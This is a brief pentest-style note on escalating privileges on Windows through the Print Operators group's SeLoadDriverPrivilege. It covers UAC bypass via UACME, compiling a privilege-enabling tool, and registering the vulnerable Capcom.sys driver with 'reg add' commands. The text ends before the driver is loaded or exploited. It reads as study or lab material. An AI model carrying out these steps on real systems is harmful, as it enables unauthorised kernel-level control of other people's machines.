Print Operators grants its members the SeLoadDriverPrivilege right to manage, create, share, and delete printers. If not visible with whoami /priv, we have to bypass UAC.
List of UAC Bypasses: https://github.com/hfiref0x/UACME
After that, priv should be:
SeLoadDriverPrivilege Load and unload device drivers Disabled
To load the driver: https://raw.githubusercontent.com/3gstudent/Homework-of-C-Language/master/EnableSeLoadDriverPrivilege.cpp
Download and edit locally, pasting the includes:
#include <windows.h>
#include <assert.h>
#include <winternl.h>
#include <sddl.h>
#include <stdio.h>
#include "tchar.h"
Next, with VisualStudio 2019, compile using cl.exe:
cl /DUNICODE /D_UNICODE EnableSeLoadDriverPrivilege.cpp
Download the Capcom.sys driver from: https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys
Add a reference to this driver:
reg add HKCU\\System\\CurrentControlSet\\CAPCOM /v ImagePath /t REG_SZ /d "\\??\\C:\\Tools\\Capcom.sys"
reg add HKCU\\System\\CurrentControlSet\\CAPCOM /v Type /t REG_DWORD /d 1
The \??\ syntax is an NT Object Path.